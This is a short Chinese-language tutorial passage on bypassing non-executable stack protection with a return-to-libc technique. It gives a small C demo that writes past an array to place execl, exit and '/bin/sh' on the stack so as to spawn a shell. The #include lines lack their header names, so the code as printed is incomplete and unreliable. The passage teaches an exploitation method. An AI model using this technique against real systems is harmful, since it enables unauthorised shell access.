|
付缓冲区溢出的常见方法就是堆栈不可执行保护。众所周知溢出成功后都是执行shellcode,而shellcode一般都是在缓存区里,只要操作系统限制堆栈中的数据只可读写,不可执行,一旦堆栈中的数据被执行立即报告错误,并退出。那么溢出成功后也不能执行shellcode。
但如果在堆栈中构造号参数然后跳转到标准C库中去运行,那么也就避开了堆栈保护。如下简单程序演示其原理:
#include
#include
int main(int argc,char * argv[])
{
long p[1];
char *cmd = "/bin/sh";
printf("execl addr = %p\n",execl);
p[2] = execl;
p[3] = exit;
p[4] = cmd;
p[5] = 0;
}
运行程序可将得到一个/bin/sh shell
注意:程序没有构造机器指令,仅通过溢出填写了一个返回地址->execl及execl所需参数。 |
|